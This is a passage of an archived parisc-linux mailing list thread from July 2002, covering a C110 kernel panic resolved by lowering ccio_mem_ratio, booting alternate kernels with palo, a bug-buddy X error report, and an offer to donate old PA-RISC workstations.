Using a smaller value will result in more IOMMU resource.

> would there be more chance with the ccio_mem_ratio setting of 8?

Or 2 or 1 even.

> there a way to use more than one Kernel alternativly and select it at
> boottime with palo? Is there an example palo.conf somewhere?

Yes. Interrupt the boot process before palo is loaded and then
type "Y" to "Interact with IPL (Y/N/Q)?" question. You can then
specify which vmlinux to boot.

grant


From - Thu Nov 08 21:23:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110, kernel Panics, still more tears ;-(
Date: Sat, 20 Jul 2002 09:37:15 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <20020720153715.A6BD34847@dsl2.external.hp.com>
References: <3D383969.1657EF43@ruhr-west.de> <1027121658.16562.3.camel@beavis>  <3D393310.D3AB411A@ruhr-west.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621549 11272 80.91.229.3 (22 Nov 2014 01:59:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:09 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	parisc list <parisc-linux@lists.parisc-linux.org>
To: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 20 09:37:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A6BD34847; Sat, 20 Jul 2002 09:37:15 -0600 (MDT)
In-Reply-To: Message from Juergen Braukmann <juergen.braukmann@ruhr-west.de> 
   of "Sat, 20 Jul 2002 11:53:20 +0200." <3D393310.D3AB411A@ruhr-west.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15589

Juergen Braukmann wrote:
> > How much memory does this system have?  Also what cards do you have in
> > which slot. (Please also specify PCI or GSC).

> Speaking about card slots, I don't know what PSC slots are,

Me either. No such thing as PSC - only GSC or HSC (K-class).
The slots in the C200 can take either a GSC card or a PCI card.

grant


From - Thu Nov 08 21:23:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110, kernel Panics, still more tears ;-(
Date: Sat, 20 Jul 2002 09:40:43 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20020720154043.8F74B484E@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0207201218410.21970-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621550 11275 80.91.229.3 (22 Nov 2014 01:59:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:10 +0000 (UTC)
Cc: parisc list <parisc-linux@lists.parisc-linux.org>
To: Peter Mottram <peter@petescaff.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 20 09:40:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 8F74B484E; Sat, 20 Jul 2002 09:40:43 -0600 (MDT)
In-Reply-To: Message from Peter Mottram <peter@petescaff.com> 
   of "Sat, 20 Jul 2002 12:21:54 +0200." <Pine.LNX.4.44.0207201218410.21970-100000@r6.petescaff.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15590

Peter Mottram wrote:
> The internal disks are fast-wide differential & the external SCSI ports
> are FW-diff & single-ended. I don't know the 2490A.

C2490 is a 2GB FWD diff. About 6 years Old IIRC.
Odds are you need to update the firmware since it rolled every
3-4 monthes even after HP stopped producing that model. See
the parisc FAQ re platform firmwre and the same HP ftp sites
referenced in the FAQ have disk firmware too.

grant


From - Thu Nov 08 21:23:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Alden Smith <falden@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bug-buddy failure
Date: Sat, 20 Jul 2002 18:51:39 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <NGBBJKHCMLEJELIEEHNOAEFKCAAA.falden@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621550 11277 80.91.229.3 (22 Nov 2014 01:59:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 20 16:56:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE852483E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Jul 2002 16:56:40 -0600 (MDT)
Original-Received: from haydn (pcp357875pcs.elictc01.md.comcast.net [68.55.155.46])
 by mtaout06.icomcast.net
 (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 13 2002))
 with SMTP id <0GZK004D6KZJQI@mtaout06.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Sat, 20 Jul 2002 18:54:55 -0400 (EDT)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15591

I just installed this version of bug-buddy:

puccini:~# dpkg -l bug-buddy
Desired=Unknown/Install/Remove/Purge/Hold
|
Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err:
uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-======================================
======
ii  bug-buddy      2.1.6-1        A graphical bug reporting tool for
GNOME
puccini:~#

Unfortunately, bug-buddy fails. Here, is what ~/.gnome-errors says
happens:

Gtk-WARNING **: gtk_signal_disconnect_by_data(): could not find handler
containi
ng data (0x170890)
The program 'bug-buddy' received an X Window System error.
This probably reflects a bug in the program.
The error was '187'.
  (Details: serial 914 error_code 187 request_code 154 minor_code 8)
  (Note to programmers: normally, X errors are reported asynchronously;
   that is, you will receive the error a while after causing it.
   To debug your program, run it with the --sync command line
   option to change this behavior. You can then get a meaningful
   backtrace from your debugger if you break on the gdk_x_error()
function.)

Any suggestions as to how to fix it?

Take care,

Frank Alden Smith



From - Thu Nov 08 21:23:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110, kernel Panics, still more tears ;-(
Date: Sun, 21 Jul 2002 00:57:57 +0200
Organization: Power Penguin Club
Lines: 43
Approved: news@gmane.org
Message-ID: <3D39EAF5.A8932E1F@ruhr-west.de>
References: <3D383969.1657EF43@ruhr-west.de> <20020720152919.9D690483D@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621550 11278 80.91.229.3 (22 Nov 2014 01:59:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:10 +0000 (UTC)
Cc: parisc list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 20 17:07:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout07.sul.t-online.com (mailout07.sul.t-online.com [194.25.134.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id C03174852
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Jul 2002 17:07:38 -0600 (MDT)
Original-Received: from fwd07.sul.t-online.de 
	by mailout07.sul.t-online.com with smtp 
	id 17W3Jv-0002X5-02; Sun, 21 Jul 2002 01:07:27 +0200
Original-Received: from marvin.forty.two (520058847159-0001@[217.5.18.149]) by fmrl07.sul.t-online.com
	with esmtp id 17W3Ju-28eRlpC; Sun, 21 Jul 2002 01:07:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by marvin.forty.two (8.11.6/8.11.0/SuSE Linux 8.11.0-0.4) with ESMTP id g6KMwLZ20280;
	Sun, 21 Jul 2002 00:58:21 +0200
Original-Received: from ruhr-west.de (localhost [127.0.0.1])
	by localhost (AvMailGate-6.13.0.1) id 20276-2527ACF3;
	Sun, 21 Jul 2002 00:57:58 +0200
X-AntiVirus: OK! AvMailGate Version 6.13.0.26
	 at marvin has not found any known virus in this email.
X-Mailer: Mozilla 4.78 [de] (X11; U; Linux 2.4.16-4GB i686)
X-Sender: 520058847159-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15592

Grant Grundler schrieb:
> 
> Juergen Braukmann wrote:
> > Hi Grant and all,
> >
> > still more tears. I compiled and replaced the kernel, using 2.4.18pa55.
> > I used the setting of ccio_mem_ratio=16, but still my kernel panics with
> > Kernel panic: ccio-dma.c ccio_alloc_range() I/O MMU is out of mapping
> > resources.
> > In interrupt handler - not syncing
> 
> Sorry - my bad - I think I have it backwards.
> Using a smaller value will result in more IOMMU resource.
> 
> > would there be more chance with the ccio_mem_ratio setting of 8?
> 
> Or 2 or 1 even.
> 
OK, kernel baking time again. ;-)

> > there a way to use more than one Kernel alternativly and select it at
> > boottime with palo? Is there an example palo.conf somewhere?
> 
> Yes. Interrupt the boot process before palo is loaded and then
> type "Y" to "Interact with IPL (Y/N/Q)?" question. You can then
> specify which vmlinux to boot.

Tried that, but didn't see a reasonable list. I could alter some things
(inluding kernel) but I would have needed to know the name to type in. I
will try to use easy names and numbering for testing.

Thank's a lot

Juergen
> 
> grant

-- 
===========================================     __   _
Juergen Braukmann juergen.braukmann@gmx.de| -o)/ /  (_)__  __ ____  __
Tel: 0201-743648  dk4jb@db0qs.#nrw.deu.eu | /\\ /__/ / _ \/ // /\ \/ /
===========================================_\_v __/_/_//_/\_,_/ /_/\_\


From - Thu Nov 08 21:23:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110, kernel Panics, still more tears ;-(
Date: Sun, 21 Jul 2002 00:54:50 +0200
Organization: Power Penguin Club
Lines: 24
Approved: news@gmane.org
Message-ID: <3D39EA3A.7A62B757@ruhr-west.de>
References: <3D383969.1657EF43@ruhr-west.de> <1027121658.16562.3.camel@beavis>  <3D393310.D3AB411A@ruhr-west.de> <20020720153715.A6BD34847@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621551 11280 80.91.229.3 (22 Nov 2014 01:59:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:11 +0000 (UTC)
Cc: parisc list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 20 17:07:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout07.sul.t-online.com (mailout07.sul.t-online.com [194.25.134.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06D594853
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Jul 2002 17:07:39 -0600 (MDT)
Original-Received: from fwd07.sul.t-online.de 
	by mailout07.sul.t-online.com with smtp 
	id 17W3Jv-0002X5-01; Sun, 21 Jul 2002 01:07:27 +0200
Original-Received: from marvin.forty.two (520058847159-0001@[217.5.18.149]) by fmrl07.sul.t-online.com
	with esmtp id 17W3Ju-28eRloC; Sun, 21 Jul 2002 01:07:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by marvin.forty.two (8.11.6/8.11.0/SuSE Linux 8.11.0-0.4) with ESMTP id g6KMtUZ20275;
	Sun, 21 Jul 2002 00:55:30 +0200
Original-Received: from ruhr-west.de (localhost [127.0.0.1])
	by localhost (AvMailGate-6.13.0.1) id 20271-74045EE5;
	Sun, 21 Jul 2002 00:54:51 +0200
X-AntiVirus: OK! AvMailGate Version 6.13.0.26
	 at marvin has not found any known virus in this email.
X-Mailer: Mozilla 4.78 [de] (X11; U; Linux 2.4.16-4GB i686)
X-Sender: 520058847159-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15593

Grant Grundler schrieb:
> 
> Juergen Braukmann wrote:
> > > How much memory does this system have?  Also what cards do you have in
> > > which slot. (Please also specify PCI or GSC).
> 
> > Speaking about card slots, I don't know what PSC slots are,
> 
> Me either. No such thing as PSC - only GSC or HSC (K-class).
> The slots in the C200 can take either a GSC card or a PCI card.
> 
> grant
Oh these three letter acronyms. Read a few, mix up the letters and
generate a few new ones to spread confusion. Sorry. ;-) So it was GSC
instead. But I am still confused. ;-)

Juergen

-- 
===========================================     __   _
Juergen Braukmann juergen.braukmann@gmx.de| -o)/ /  (_)__  __ ____  __
Tel: 0201-743648  dk4jb@db0qs.#nrw.deu.eu | /\\ /__/ / _ \/ // /\ \/ /
===========================================_\_v __/_/_//_/\_,_/ /_/\_\


From - Thu Nov 08 21:23:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110, kernel Panics, still more tears ;-(
Date: Sat, 20 Jul 2002 19:38:02 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20020721013803.0852F4842@dsl2.external.hp.com>
References: <3D383969.1657EF43@ruhr-west.de> <20020720152919.9D690483D@dsl2.external.hp.com>  <3D39EAF5.A8932E1F@ruhr-west.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621551 11282 80.91.229.3 (22 Nov 2014 01:59:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:11 +0000 (UTC)
Cc: parisc list <parisc-linux@lists.parisc-linux.org>
To: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 20 19:38:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 0852F4842; Sat, 20 Jul 2002 19:38:03 -0600 (MDT)
In-Reply-To: Message from Juergen Braukmann <juergen.braukmann@ruhr-west.de> 
   of "Sun, 21 Jul 2002 00:57:57 +0200." <3D39EAF5.A8932E1F@ruhr-west.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15594

Juergen Braukmann wrote:
> Tried that, but didn't see a reasonable list. I could alter some things
> (inluding kernel) but I would have needed to know the name to type in.

whatever name you used.
I typically copy /usr/src/linux/vmlinux to /boot/vmlinux-paXX
to match the -paXX number in the Makefile.
(And copy System.map with the same convention).
Then interact with palo and specify /boot/vmlinux-pa55.

I change /etc/palo.conf to use /boot/vmlinux-pa55 (and rerun palo at that
point) by default if I'm happy it works.

> Oh these three letter acronyms. Read a few, mix up the letters and
> generate a few new ones to spread confusion. Sorry. ;-) So it was GSC
> instead. But I am still confused. ;-)

See http://www.parisc-linux.org/glossary/index.html

grant


From - Thu Nov 08 21:23:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Solved: C110, kernel Panics, still more tears ;-(
Date: Sun, 21 Jul 2002 11:42:33 +0200
Organization: Power Penguin Club
Lines: 47
Approved: news@gmane.org
Message-ID: <3D3A8209.DCAC18F7@ruhr-west.de>
References: <3D383969.1657EF43@ruhr-west.de> <20020720152919.9D690483D@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621551 11289 80.91.229.3 (22 Nov 2014 01:59:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:11 +0000 (UTC)
Cc: parisc list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 21 04:07:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout08.sul.t-online.com (mailout08.sul.t-online.com [194.25.134.20])
	by dsl2.external.hp.com (Postfix) with ESMTP id 343F6483F
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Jul 2002 04:07:40 -0600 (MDT)
Original-Received: from fwd08.sul.t-online.de 
	by mailout08.sul.t-online.com with smtp 
	id 17WDcm-0000yl-00; Sun, 21 Jul 2002 12:07:36 +0200
Original-Received: from marvin.forty.two (520058847159-0001@[217.5.18.149]) by fmrl08.sul.t-online.com
	with esmtp id 17WDcc-141O2CC; Sun, 21 Jul 2002 12:07:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by marvin.forty.two (8.11.6/8.11.0/SuSE Linux 8.11.0-0.4) with ESMTP id g6L9hLZ24947;
	Sun, 21 Jul 2002 11:43:21 +0200
Original-Received: from ruhr-west.de (localhost [127.0.0.1])
	by localhost (AvMailGate-6.13.0.1) id 24943-0D154946;
	Sun, 21 Jul 2002 11:42:33 +0200
X-AntiVirus: OK! AvMailGate Version 6.13.0.26
	 at marvin has not found any known virus in this email.
X-Mailer: Mozilla 4.78 [de] (X11; U; Linux 2.4.16-4GB i686)
X-Sender: 520058847159-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15595

Grant Grundler schrieb:
> 
> Juergen Braukmann wrote:
> > Hi Grant and all,
> >
> > still more tears. I compiled and replaced the kernel, using 2.4.18pa55.
> > I used the setting of ccio_mem_ratio=16, but still my kernel panics with
> > Kernel panic: ccio-dma.c ccio_alloc_range() I/O MMU is out of mapping
> > resources.
> > In interrupt handler - not syncing
> 
> Sorry - my bad - I think I have it backwards.
> Using a smaller value will result in more IOMMU resource.
> 
> > would there be more chance with the ccio_mem_ratio setting of 8?
> 
> Or 2 or 1 even.

I use a setting of 2 now and was able to ftp a good collection of
kernel.tar.gz files without crash. I hope this darn baby is *not*
playing tricks on me now, since I was once able to ftp a 200 MB file
without crash too. But all left to do is wait and watch and declare it
fixed for the time beeing.

> 
> > there a way to use more than one Kernel alternativly and select it at
> > boottime with palo? Is there an example palo.conf somewhere?
> 
> Yes. Interrupt the boot process before palo is loaded and then
> type "Y" to "Interact with IPL (Y/N/Q)?" question. You can then
> specify which vmlinux to boot.
> 
yep. I started to use "easy" names (as you suggested). I had to try
that, since my default kernel had the setting of 16 and crashes saving a
3MB kernel...

Thanks to all involved to solve this problem.


Juergen

-- 
===========================================     __   _
Juergen Braukmann juergen.braukmann@gmx.de| -o)/ /  (_)__  __ ____  __
Tel: 0201-743648  dk4jb@db0qs.#nrw.deu.eu | /\\ /__/ / _ \/ // /\ \/ /
===========================================_\_v __/_/_//_/\_,_/ /_/\_\


From - Thu Nov 08 21:23:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Madden <madden@maddentechnologies.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PARISC Linux machines?
Date: Sun, 21 Jul 2002 10:06:11 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20020721150611.GA16503@maddentechnologies.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621552 11292 80.91.229.3 (22 Nov 2014 01:59:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 21 09:06:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from zeus.maddentechnologies.com (dsl-64-195-19-17.telocity.com [64.195.19.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B4F84844
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Jul 2002 09:06:14 -0600 (MDT)
Original-Received: from madden by zeus.maddentechnologies.com with local (Exim 3.35 #1 (Debian))
	id 17WIHj-0004Iy-00
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Jul 2002 10:06:11 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15596

Hello;

I was wondering if anyone out there needs older PA-RISC machines to use on
PA-RISC Linux and the Debian 3.0 port to PA-RISC.  I have many 735
workstations, a few 725/715 workstations, and a few C110 workstations.

Right now, they are all collecting dust.  I'd be willing to donate the
machines to someone who will put them to use on the PA-RISC Linux
or Debian 3.0 project.

Thanks,

Michael Madden


From - Thu Nov 08 21:23:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: DJ Tha Muggs <djmuggs@primare.xs4all.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Systems Console hangs!
Date: Sun, 21 Jul 2002 18:35:09 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20020721183508.C16644@primare.xs4all.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
